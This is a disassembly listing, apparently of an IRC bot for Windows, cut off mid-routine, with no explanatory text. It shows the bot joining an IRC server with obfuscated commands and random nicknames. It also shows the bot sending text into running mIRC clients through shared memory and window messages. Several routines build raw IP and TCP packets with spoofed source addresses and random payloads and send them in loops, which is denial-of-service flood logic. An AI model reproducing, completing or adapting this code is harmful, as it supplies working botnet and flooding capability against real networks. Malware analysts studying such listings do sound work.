sub_4262C5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42630C proc near ; CODE XREF: sub_426402+1B8p
var_420 = byte ptr -420h
var_220 = byte ptr -220h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 420h
push ebx
push esi
mov esi, offset asc_43D938 ; " "
push edi
push esi
push [ebp+arg_0]
call sub_429B8E
xor edi, edi
pop ecx
inc edi
pop ecx
mov [ebp+var_20], eax
xor ebx, ebx
loc_426330: ; CODE XREF: sub_42630C+35j
push esi
push ebx
call sub_429B8E
mov [ebp+edi*4+var_20], eax
inc edi
pop ecx
cmp edi, 8
pop ecx
jl short loc_426330
cmp [ebp+var_20], ebx
mov edi, [ebp+var_1C]
jnz short loc_426357
cmp edi, ebx
jnz short loc_426357
xor eax, eax
inc eax
jmp loc_4263FD
; ---------------------------------------------------------------------------
loc_426357: ; CODE XREF: sub_42630C+3Dj
; sub_42630C+41j
push [ebp+var_20]
mov esi, dword_437174
push offset aSpxmrGVbi0 ; "spxMr/G/vBI0"
call esi ; dword_437174
test eax, eax
push edi
jnz short loc_426387
push offset a2nru_kpknx ; "/2nRu.KpKNx/"
lea eax, [ebp+var_220]
push offset aSS_0 ; "%s %s\n"
push eax
call sub_429A33
add esp, 10h
jmp short loc_4263DC
; ---------------------------------------------------------------------------
loc_426387: ; CODE XREF: sub_42630C+5Ej
push offset a433 ; "433"
call esi ; dword_437174
test eax, eax
jz short loc_42639E
push edi
push offset a432 ; "432"
call esi ; dword_437174
test eax, eax
jnz short loc_4263FB
loc_42639E: ; CODE XREF: sub_42630C+84j
push 200h
lea eax, [ebp+var_420]
push ebx
push eax
call sub_429690
lea eax, [ebp+var_420]
push eax
call sub_426698
lea eax, [ebp+var_420]
push eax
push offset aTugnf_mqsdr0 ; "TuGNF.mQSDR0"
lea eax, [ebp+var_220]
push offset aSS_0 ; "%s %s\n"
push eax
call sub_429A33
add esp, 20h
loc_4263DC: ; CODE XREF: sub_42630C+79j
lea eax, [ebp+var_220]
push ebx
push eax
call sub_4292D0
pop ecx
push eax
lea eax, [ebp+var_220]
push eax
push [ebp+arg_4]
call dword_456F6C ; send
loc_4263FB: ; CODE XREF: sub_42630C+90j
xor eax, eax
loc_4263FD: ; CODE XREF: sub_42630C+46j
pop edi
pop esi
pop ebx
leave
retn
sub_42630C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426402 proc near ; DATA XREF: sub_42660A+71o
var_4008 = byte ptr -4008h
var_3008 = byte ptr -3008h
var_2008 = byte ptr -2008h
var_1008 = byte ptr -1008h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 4008h
call sub_429A90
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
imul esi, 410h
xor edi, edi
push dword_660AB4[esi]
lea eax, dword_6608B4[esi]
inc edi
push eax
mov dword_6608A8[esi], edi
call sub_4261D4
pop ecx
xor ebx, ebx
cmp eax, edi
pop ecx
mov dword_6608AC[esi], eax
jb loc_4265EA
mov edi, 1000h
lea eax, [ebp+var_2008]
push edi
push ebx
push eax
call sub_429690
add esp, 0Ch
call dword_437184 ; GetTickCount
push eax
call sub_429ABF
lea eax, [ebp+var_2008]
push eax
call sub_426698
lea eax, [ebp+var_4008]
push eax
call sub_426698
lea eax, [ebp+var_3008]
push eax
call sub_426698
lea eax, dword_660AB8[esi]
push eax
push offset a7lybp1gunfm0_0 ; "7LybP1GuNfm0"
lea eax, [ebp+var_1008]
push offset aSS_0 ; "%s %s\n"
push eax
call sub_429A33
add esp, 20h
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_4292D0
pop ecx
push eax
lea eax, [ebp+var_1008]
push eax
push dword_6608AC[esi]
call dword_456F6C ; send
push edi
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_429690
lea eax, [ebp+var_3008]
push eax
lea eax, [ebp+var_4008]
push eax
lea eax, [ebp+var_2008]
push offset a391myLxl28__0 ; "391mY/LxL28."
push eax
push offset aTugnf_mqsdr0 ; "TuGNF.mQSDR0"
lea eax, [ebp+var_1008]
push offset aSSSSMail_gmail ; "%s %s\n%s %s \"mail.gmail.com\" \"127.0.0.1"...
push eax
call sub_429A33
add esp, 28h
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_4292D0
pop ecx
push eax
lea eax, [ebp+var_1008]
push eax
push dword_6608AC[esi]
call dword_456F6C ; send
push edi
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_429690
add esp, 0Ch
loc_426544: ; CODE XREF: sub_426402+1E3j
push edi
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_429690
add esp, 0Ch
lea eax, [ebp+var_1008]
push ebx
push edi
push eax
push dword_6608AC[esi]
call dword_456F38 ; recv
cmp eax, ebx
mov [ebp+var_8], eax
jle short loc_4265EA
xor eax, eax
cmp [ebp+var_8], ebx
jmp short loc_4265E0
; ---------------------------------------------------------------------------
loc_426578: ; CODE XREF: sub_426402+1E1j
mov al, [ebp+eax+var_1008]
cmp al, 0Dh
jz short loc_42659F
cmp al, 0Ah
jz short loc_42659F
cmp [ebp+arg_0], 0FA0h
jz short loc_42659F
mov ecx, [ebp+arg_0]
inc [ebp+arg_0]
mov [ebp+ecx+var_2008], al
jmp short loc_4265D9
; ---------------------------------------------------------------------------
loc_42659F: ; CODE XREF: sub_426402+17Fj
; sub_426402+183j ...
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_4265D9
push dword_6608AC[esi]
mov [ebp+eax+var_2008], bl
lea eax, [ebp+var_2008]
push eax
call sub_42630C
pop ecx
test eax, eax
pop ecx
ja short loc_4265EA
push edi
lea eax, [ebp+var_2008]
push ebx
push eax
call sub_429690
add esp, 0Ch
mov [ebp+arg_0], ebx
loc_4265D9: ; CODE XREF: sub_426402+19Bj
; sub_426402+1A2j
mov eax, [ebp+var_4]
inc eax
cmp eax, [ebp+var_8]
loc_4265E0: ; CODE XREF: sub_426402+174j
mov [ebp+var_4], eax
jnz short loc_426578
jmp loc_426544
; ---------------------------------------------------------------------------
loc_4265EA: ; CODE XREF: sub_426402+40j
; sub_426402+16Dj ...
mov dword_6608A8[esi], ebx
mov esi, dword_6608AC[esi]
cmp esi, ebx
jbe short loc_426601
push esi
call dword_456FD0 ; closesocket
loc_426601: ; CODE XREF: sub_426402+1F6j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
sub_426402 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42660A proc near ; CODE XREF: sub_40A938+2AA8p
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
and [ebp+var_4], 0
cmp [ebp+arg_8], 0
push ebx
push esi
push edi
jle short loc_426693
mov edi, dword_4370A4
loc_426622: ; CODE XREF: sub_42660A+87j
xor ebx, ebx
mov eax, offset dword_6608A8
loc_426629: ; CODE XREF: sub_42660A+2Fj
cmp dword ptr [eax], 0
jz short loc_42663B
add eax, 410h
inc ebx
cmp eax, offset byte_66D3C8
jl short loc_426629
loc_42663B: ; CODE XREF: sub_42660A+22j
cmp ebx, 31h
jz short loc_426693
mov esi, ebx
push [ebp+arg_0]
imul esi, 410h
lea eax, dword_6608B4[esi]
push eax
call edi ; dword_4370A4
mov eax, [ebp+arg_4]
push [ebp+arg_C]
mov dword_660AB4[esi], eax
lea eax, dword_660AB8[esi]
push eax
call edi ; dword_4370A4
lea eax, [ebp+var_8]
mov dword_6608A8[esi], 1
push eax
xor eax, eax
push eax
push ebx
push offset sub_426402
push eax
push eax
call dword_43717C ; CreateThread
inc [ebp+var_4]
mov eax, [ebp+var_4]
cmp eax, [ebp+arg_8]
jl short loc_426622
loc_426693: ; CODE XREF: sub_42660A+10j
; sub_42660A+34j
pop edi
pop esi
pop ebx
leave
retn
sub_42660A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426698 proc near ; CODE XREF: sub_40A938+31D4p
; sub_40A938+3F31p ...
var_40 = byte ptr -40h
var_2D = byte ptr -2Dh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_18 = qword ptr -18h
var_10 = qword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 40h
push 14h
lea eax, [ebp+var_2C]
push 0
push eax
call sub_429690
add esp, 0Ch
call dword_437184 ; GetTickCount
push eax
call sub_429ABF
pop ecx
call sub_429ACC
mov [ebp+var_4], eax
fild [ebp+var_4]
fmul dbl_437398
call sub_42A910
cmp eax, 1
jnz short loc_4266EF
call sub_429ACC
call sub_429ACC
push 67h
cdq
pop ecx
idiv ecx
push off_44F680[edx*4]
jmp short loc_426708
; ---------------------------------------------------------------------------
loc_4266EF: ; CODE XREF: sub_426698+3Cj
call sub_429ACC
call sub_429ACC
cdq
mov ecx, 0DFh
idiv ecx
push off_44F300[edx*4]
loc_426708: ; CODE XREF: sub_426698+55j
lea eax, [ebp+var_2C]
push eax
call dword_4370A4 ; lstrcpyA
push ebx
push esi
lea eax, [ebp+var_2C]
push edi
push eax
call sub_4292D0
pop ecx
mov ebx, eax
push 13h
mov [ebp+var_4], ebx
pop eax
sub eax, ebx
mov dword ptr [ebp+var_18+4], eax
call sub_429ACC
mov dword ptr [ebp+var_10+4], eax
fild dword ptr [ebp+var_10+4]
fmul dbl_437390
call sub_42A910
mov esi, eax
call sub_429ACC
mov dword ptr [ebp+var_10+4], eax
fild dword ptr [ebp+var_10+4]
fimul [ebp+var_4]
fmul dbl_437388
call sub_42A910
cmp ebx, 2
mov edi, offset aAbcdefghijkl_0 ; "abcdefghijklmnopqrstuvwxyz1234567890-|`"...
jle short loc_42677A
cmp ebx, 3
jnz short loc_426771
cmp esi, 1
jz short loc_42677A
loc_426771: ; CODE XREF: sub_426698+D2j
cmp eax, 1
jnz loc_426833
loc_42677A: ; CODE XREF: sub_426698+CDj
; sub_426698+D7j
call sub_429ACC
mov dword ptr [ebp+var_10+4], eax
fild dword ptr [ebp+var_10+4]
fmul dbl_437380
call sub_42A910
push off_44F680[eax*4]
lea eax, [ebp+var_40]
push eax
call dword_4370A4 ; lstrcpyA
lea esi, [ebp+ebx+var_2C]
movsx eax, byte ptr [esi-1]
push eax
push edi
call sub_42B0D0
pop ecx
test eax, eax
pop ecx
jnz short loc_426820
movsx eax, [ebp+var_40]
push eax
push edi
call sub_42B0D0
pop ecx
test eax, eax
pop ecx
jnz short loc_426820
call sub_429ACC
mov dword ptr [ebp+var_10+4], eax
dec ebx
fild dword ptr [ebp+var_10+4]
mov dword ptr [ebp+var_10+4], ebx
fild dword ptr [ebp+var_10+4]
fmulp st(1), st
fmul dbl_437388
call sub_42A910
cmp eax, 1
jnz short loc_426820
push edi
call sub_4292D0
and dword ptr [ebp+var_10+4], 0
mov dword ptr [ebp+var_10], eax
fild [ebp+var_10]
pop ecx
fstp qword ptr [ebp-8]
call sub_429ACC
mov dword ptr [ebp+var_10+4], eax
fild dword ptr [ebp+var_10+4]
fmul qword ptr [ebp-8]
fmul dbl_437388
call sub_42A910
mov al, byte ptr aAbcdefghijkl_0[eax] ; "abcdefghijklmnopqrstuvwxyz1234567890-|`"...
mov [esi], al
loc_426820: ; CODE XREF: sub_426698+11Cj
; sub_426698+12Dj ...
push dword ptr [ebp+var_18+4]
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_2C]
push eax
call sub_429910
add esp, 0Ch
loc_426833: ; CODE XREF: sub_426698+DCj
lea eax, [ebp+var_2C]
push eax
call sub_4292D0
mov esi, eax
mov [ebp+var_4], esi
movsx eax, [ebp+esi+var_2D]
push eax
call sub_42C454
pop ecx
test eax, eax
pop ecx
jnz loc_426A8A
movsx eax, [ebp+esi+var_2D]
push eax
push edi
xor ebx, ebx
call sub_42B0D0
pop ecx
test eax, eax
pop ecx
jnz loc_42698C
call sub_429ACC
mov dword ptr [ebp+var_18+4], eax
lea eax, [esi+3]
fild dword ptr [ebp+var_18+4]
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul dbl_437388
call sub_42A910
cmp esi, 3
jz short loc_42689D
cmp eax, 1
jnz loc_42698C
loc_42689D: ; CODE XREF: sub_426698+1FAj
push 2
cdq
pop ecx
idiv ecx
cmp edx, 1
jnz short loc_4268E1
push edi
call sub_4292D0
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp [ebp+var_10]
call sub_429ACC
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul [ebp+var_10]
fmul dbl_437388
call sub_42A910
mov al, byte ptr aAbcdefghijkl_0[eax] ; "abcdefghijklmnopqrstuvwxyz1234567890-|`"...
mov [ebp+esi+var_2C], al
jmp short loc_4268FF
; ---------------------------------------------------------------------------
loc_4268E1: ; CODE XREF: sub_426698+20Ej
call sub_429ACC
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_437378
call sub_42A910
mov cl, 41h
sub cl, al
mov [ebp+esi+var_2C], cl
loc_4268FF: ; CODE XREF: sub_426698+247j
inc esi
xor ebx, ebx
mov [ebp+var_4], esi
inc ebx
call sub_429ACC
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_437370
call sub_42A910
cmp esi, 3
jz short loc_426925
cmp eax, ebx
jnz short loc_42698C
loc_426925: ; CODE XREF: sub_426698+287j
push 2
pop ebx
cdq
mov ecx, ebx
idiv ecx
test edx, edx
jnz short loc_42696A
push edi
call sub_4292D0
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp [ebp+var_10]
call sub_429ACC
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul [ebp+var_10]
fmul dbl_437388
call sub_42A910
mov al, byte ptr aAbcdefghijkl_0[eax] ; "abcdefghijklmnopqrstuvwxyz1234567890-|`"...
mov [ebp+esi+var_2C], al
jmp short loc_426988
; ---------------------------------------------------------------------------
loc_42696A: ; CODE XREF: sub_426698+297j
call sub_429ACC
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_437378
call sub_42A910
mov cl, 41h
sub cl, al
mov [ebp+esi+var_2C], cl
loc_426988: ; CODE XREF: sub_426698+2D0j
inc esi
mov [ebp+var_4], esi
loc_42698C: ; CODE XREF: sub_426698+1D0j
; sub_426698+1FFj ...
cmp esi, 6
jge short loc_426A0C
call sub_429ACC
cmp esi, 5
jge short loc_4269A9
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_437390
jmp short loc_4269C2
; ---------------------------------------------------------------------------
loc_4269A9: ; CODE XREF: sub_426698+301j
push 8
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
pop eax
sub eax, esi
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul dbl_437388
loc_4269C2: ; CODE XREF: sub_426698+30Fj
call sub_42A910
test eax, eax
jnz short loc_4269E5
call sub_429ACC
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_437368
call sub_42A910
mov cl, 30h
jmp short loc_426A02
; ---------------------------------------------------------------------------
loc_4269E5: ; CODE XREF: sub_426698+331j
cmp eax, 1
jnz short loc_426A0C
call sub_429ACC
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_437378
call sub_42A910
mov cl, 41h
loc_426A02: ; CODE XREF: sub_426698+34Bj
sub cl, al
mov [ebp+esi+var_2C], cl
inc esi
mov [ebp+var_4], esi
loc_426A0C: ; CODE XREF: sub_426698+2F7j
; sub_426698+350j
cmp ebx, 2
jge short loc_426A8A
call sub_429ACC
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fimul [ebp+var_4]
fmul dbl_437388
call sub_42A910
cmp eax, 1
jnz short loc_426A8A
call sub_429ACC
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_437368
call sub_42A910
mov cl, 30h
sub cl, al
mov [ebp+esi+var_2C], cl
call sub_429ACC
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_437360
call sub_42A910
cmp eax, 1
jnz short loc_426A8A
cmp ebx, eax
jge short loc_426A8A
call sub_429ACC
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_437358
call sub_42A910
mov cl, 30h
sub cl, al
mov [ebp+esi+var_2B], cl
loc_426A8A: ; CODE XREF: sub_426698+1B8j
; sub_426698+377j ...
lea eax, [ebp+var_2C]
push 14h
push eax
push [ebp+arg_0]
call sub_429C40
mov eax, [ebp+arg_0]
add esp, 0Ch
pop edi
pop esi
pop ebx
leave
retn
sub_426698 endp
; =============== S U B R O U T I N E =======================================
sub_426AA3 proc near ; CODE XREF: sub_40A938+4620p
push esi
mov esi, offset dword_6608AC
loc_426AA9: ; CODE XREF: sub_426AA3+2Dj
cmp dword ptr [esi-4], 1
jnz short loc_426ABC
mov eax, [esi]
test eax, eax
jbe short loc_426ABC
push eax
call dword_456FD0 ; closesocket
loc_426ABC: ; CODE XREF: sub_426AA3+Aj
; sub_426AA3+10j
push dword ptr [esi]
call dword_4372D4
add esi, 410h
cmp esi, offset dword_66D3CC
jl short loc_426AA9
xor eax, eax
pop esi
retn
sub_426AA3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426AD6 proc near ; DATA XREF: sub_426C22+Bo
var_204 = byte ptr -204h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 204h
push esi
lea eax, [ebp+var_204]
push 200h
push eax
push [ebp+arg_0]
call dword_43726C
mov esi, offset aMirc ; "mIRC"
lea eax, [ebp+var_204]
push esi
push eax
call sub_42A7F0
pop ecx
test eax, eax
pop ecx
jnz short loc_426B74
push ebx
push esi
xor esi, esi
push 1000h
push esi
push 4
push esi
push 0FFFFFFFFh
call dword_4370B8 ; CreateFileMappingA
push esi
push esi
mov ebx, eax
push esi
push 0F001Fh
push ebx
call dword_437040 ; MapViewOfFile
push [ebp+arg_4]
mov [ebp+var_4], eax
push offset aS_5 ; "%s"
push eax
call dword_437274
add esp, 0Ch
push esi
push 1
push 4C8h
push [ebp+arg_0]
call dword_437270
push [ebp+var_4]
call dword_437048 ; UnmapViewOfFile
push ebx
call dword_437044 ; CloseHandle
mov dword_6607C8, 1
pop ebx
loc_426B74: ; CODE XREF: sub_426AD6+35j
xor eax, eax
pop esi
inc eax
leave
retn 8
sub_426AD6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426B7C proc near ; DATA XREF: sub_426C22+1Ao
var_204 = byte ptr -204h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 204h
push esi
lea eax, [ebp+var_204]
push 200h
push eax
push [ebp+arg_0]
call dword_43726C
mov esi, offset aMirc32 ; "mIRC32"
lea eax, [ebp+var_204]
push esi
push eax
call sub_42A7F0
pop ecx
test eax, eax
pop ecx
jnz short loc_426C1A
push ebx
push esi
xor esi, esi
push 1000h
push esi
push 4
push esi
push 0FFFFFFFFh
call dword_4370B8 ; CreateFileMappingA
push esi
push esi
mov ebx, eax
push esi
push 0F001Fh
push ebx
call dword_437040 ; MapViewOfFile
push [ebp+arg_4]
mov [ebp+var_4], eax
push offset aS_5 ; "%s"
push eax
call dword_437274
add esp, 0Ch
push esi
push 1
push 4C8h
push [ebp+arg_0]
call dword_437270
push [ebp+var_4]
call dword_437048 ; UnmapViewOfFile
push ebx
call dword_437044 ; CloseHandle
mov dword_6607C8, 1
pop ebx
loc_426C1A: ; CODE XREF: sub_426B7C+35j
xor eax, eax
pop esi
inc eax
leave
retn 8
sub_426B7C endp
; =============== S U B R O U T I N E =======================================
sub_426C22 proc near ; CODE XREF: sub_40A938+27D8p
arg_0 = dword ptr 4
push [esp+arg_0]
and dword_6607C8, 0
push offset sub_426AD6
call dword_456FCC ; EnumWindows
push [esp+arg_0]
push offset sub_426B7C
call dword_456FCC ; EnumWindows
mov eax, dword_6607C8
retn
sub_426C22 endp
; ---------------------------------------------------------------------------
loc_426C4D: ; CODE XREF: ?9:00436593j ?9:0043659Bj ...
mov eax, [ecx]
test eax, eax
jz short locret_426C59
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
locret_426C59: ; CODE XREF: ?9:00426C51j
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426C5A proc near ; CODE XREF: sub_4274B2+8Ap
var_100 = byte ptr -100h
push ebp
mov ebp, esp
sub esp, 100h
push esi
lea eax, [ebp+var_100]
push 100h
push eax
call dword_4372DC
lea eax, [ebp+var_100]
push eax
call dword_4372A0
mov eax, [eax+0Ch]
mov eax, [eax]
mov esi, [eax]
and esi, 0FFFFFFh
call sub_429ACC
cdq
mov ecx, 0FFh
idiv ecx
mov eax, edx
shl eax, 18h
or eax, esi
pop esi
leave
retn
sub_426C5A endp
; =============== S U B R O U T I N E =======================================
sub_426CA7 proc near ; CODE XREF: sub_4274B2+5Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_8]
push edi
push 10h
push 0
push esi
call sub_429690
add esp, 0Ch
mov word ptr [esi], 2
push [esp+8+arg_0]
call dword_4372BC
lea edi, [esi+4]
cmp eax, 0FFFFFFFFh
mov [edi], eax
jnz short loc_426CFB
push [esp+8+arg_0]
call dword_4372A0
test eax, eax
jz short loc_426D09
mov cx, [eax+8]
mov [esi], cx
movsx ecx, word ptr [eax+0Ah]
mov eax, [eax+0Ch]
push ecx
push dword ptr [eax]
push edi
call sub_429350
add esp, 0Ch
loc_426CFB: ; CODE XREF: sub_426CA7+2Aj
push [esp+8+arg_4]
call dword_4372C0
mov [esi+2], ax
loc_426D09: ; CODE XREF: sub_426CA7+38j
xor eax, eax
pop edi
inc eax
pop esi
retn
sub_426CA7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426D0F proc near ; CODE XREF: sub_42731C+109p
; sub_42731C+14Dp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_4]
mov edx, [ebp+arg_0]
push esi
xor esi, esi
cmp ecx, 1
mov [ebp+var_4], esi
jle short loc_426D3E
lea eax, [ecx-2]
push edi
shr eax, 1
inc eax
lea edi, [eax+eax]
sub ecx, edi
loc_426D30: ; CODE XREF: sub_426D0F+29j
movzx edi, word ptr [edx]
add esi, edi
inc edx
inc edx
dec eax
jnz short loc_426D30
pop edi
cmp ecx, 1
loc_426D3E: ; CODE XREF: sub_426D0F+13j
jnz short loc_426D4B
mov al, [edx]
mov byte ptr [ebp+var_4], al
movzx eax, word ptr [ebp+var_4]
add esi, eax
loc_426D4B: ; CODE XREF: sub_426D0F:loc_426D3Ej
mov ecx, esi
and esi, 0FFFFh
sar ecx, 20h
add ecx, esi
pop esi
mov eax, ecx
sar eax, 20h
add eax, ecx
not eax
leave
retn
sub_426D0F endp
; =============== S U B R O U T I N E =======================================
sub_426D64 proc near ; CODE XREF: sub_4274B2+94p
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push ebp
push esi
push edi
call sub_429ACC
cdq
mov ecx, 9C40h
mov ebp, 5DCh
idiv ecx
push ebp
push 1
add edx, 1F4h
mov [esp+1Ch+var_4], edx
call sub_42B2CA
mov ebx, dword_4372C0
pop ecx
pop ecx
mov esi, eax
push ebp
or byte ptr [esi+14h], 0FFh
lea edi, [esi+20h]
mov byte ptr [esi], 4
mov byte ptr [esi+0Ch], 8
call ebx ; dword_4372C0
push [esp+14h+var_4]
mov [esi+4], ax
mov byte ptr [esi+15h], 2
call ebx ; dword_4372C0
push 2000h
mov [esi+8], ax
call ebx ; dword_4372C0
mov [esi+0Eh], ax
mov eax, [esp+14h+arg_4]
mov [esi+18h], eax
mov eax, [esp+14h+arg_0]
push 20h
push esi
mov eax, [eax+4]
mov [esi+1Ch], eax
call sub_41E322
push 10h
mov [esi+16h], ax
and byte ptr [edi], 0
and dword ptr [edi+4], 0
push edi
call sub_41E322
add esp, 10h
mov [edi+2], ax
push 31h
pop edi
loc_426DFB: ; CODE XREF: sub_426D64+AAj
call sub_429ACC
cdq
mov ecx, 0DCh
idiv ecx
mov [edi+esi], dl
inc edi
cmp edi, ebp
jl short loc_426DFB
push 0FFh
push 3
push 2
call dword_4372B8
test eax, eax
mov [esp+14h+arg_4], eax
jl short loc_426E90
push 10h
push [esp+18h+arg_0]
push 0
push ebp
push esi
push eax
call dword_437290
cmp eax, 0FFFFFFFFh
jnz short loc_426E41
xor eax, eax
jmp short loc_426E93
; ---------------------------------------------------------------------------
loc_426E41: ; CODE XREF: sub_426D64+D7j
mov edi, 5C8h
loc_426E46: ; CODE XREF: sub_426D64+119j
mov eax, edi
sar eax, 3
cmp edi, 1158h
jg short loc_426E56
or ah, 20h
loc_426E56: ; CODE XREF: sub_426D64+EDj
push eax
call ebx ; dword_4372C0
push 10h
mov [esi+0Eh], ax
push [esp+18h+arg_0]
push 0
push ebp
push esi
push [esp+28h+arg_4]
call dword_437290
add edi, 5C8h
cmp edi, 1CE8h
jl short loc_426E46
push esi
call sub_429822
pop ecx
push [esp+14h+arg_4]
call dword_4372D4
loc_426E90: ; CODE XREF: sub_426D64+C1j
xor eax, eax
inc eax
loc_426E93: ; CODE XREF: sub_426D64+DBj
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_426D64 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426E99 proc near ; CODE XREF: sub_426EEF+1EFp
; sub_426EEF+249p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov ecx, [ebp+arg_4]
xor edx, edx
push esi
mov esi, [ebp+arg_0]
cmp ecx, 1
mov [ebp+arg_4], edx
jle short loc_426EC6
lea eax, [ecx-2]
push edi
shr eax, 1
inc eax
lea edi, [eax+eax]
sub ecx, edi
loc_426EB9: ; CODE XREF: sub_426E99+27j
movzx edi, si
add edx, edi
inc esi
dec eax
jnz short loc_426EB9
pop edi
cmp ecx, 1
loc_426EC6: ; CODE XREF: sub_426E99+12j
jnz short loc_426ED6
movzx eax, si
mov al, [eax]
mov byte ptr [ebp+arg_4], al
movzx eax, word ptr [ebp+arg_4]
add edx, eax
loc_426ED6: ; CODE XREF: sub_426E99:loc_426EC6j
mov ecx, edx
and edx, 0FFFFh
sar ecx, 20h
add ecx, edx
pop esi
mov eax, ecx
sar eax, 20h
add eax, ecx
not eax
pop ebp
retn
sub_426E99 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426EEF proc near ; CODE XREF: sub_4274B2+173p
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = byte ptr 8
arg_4 = dword ptr 0Ch
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 30h
push ebx
push esi
push edi
xor ebx, ebx
mov esi, 2000h
xor eax, eax
lea edi, [ebp+var_C]
mov [ebp+var_30], ebx
mov [ebp+var_2C], ebx
mov [ebp+var_28], ebx
mov [ebp+var_24], esi
mov [ebp+var_20], 800h
mov [ebp+var_1C], 80h
mov [ebp+var_18], 1000h
mov [ebp+var_14], 1
mov [ebp+var_10], ebx
stosd
mov [ebp+var_4], ebx
call sub_429ACC
push 100h
push [ebp+arg_14]
call dword_4372DC
push [ebp+arg_14]
call dword_4372A0
mov eax, [eax+0Ch]
mov eax, [eax]
mov edi, [eax]
and edi, 0FFFFFFh
call sub_429ACC
cdq
mov ecx, 0FFh
idiv ecx
shl edx, 18h
or edi, edx
call sub_429ACC
cdq
idiv esi
mov al, byte_675F34
and al, 0E5h
or al, 5
mov byte_675F34, al
mov [ebp+var_8], edx
call sub_429ACC
push 0Ah
mov esi, dword_4372C0
cdq
pop ecx
idiv ecx
mov ax, word ptr [ebp+edx*4+var_30]
push eax
call esi ; dword_4372C0
push ebx
mov word_675F36, ax
call esi ; dword_4372C0
push ebx
mov word_675F48, ax
call esi ; dword_4372C0
push 5Ch
mov word_675F4A, ax
mov byte_675F28, 14h
mov byte ptr word_675F2A, bl
call esi ; dword_4372C0
mov word_675F2C, ax
call sub_429ACC
cdq
mov ecx, 0ED60h
idiv ecx
add edx, 396h
push edx
call esi ; dword_4372C0
mov word_675F30, ax
mov eax, [ebp+arg_4]
mov byte_675F3C, 80h
mov byte_675F3D, 6
mov word_675F3E, bx
mov dword_675F40, edi
mov dword_675F44, eax
call sub_429ACC
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call esi ; dword_4372C0
push [ebp+arg_18]
mov word_675F4C, ax
call esi ; dword_4372C0
push 20000000h
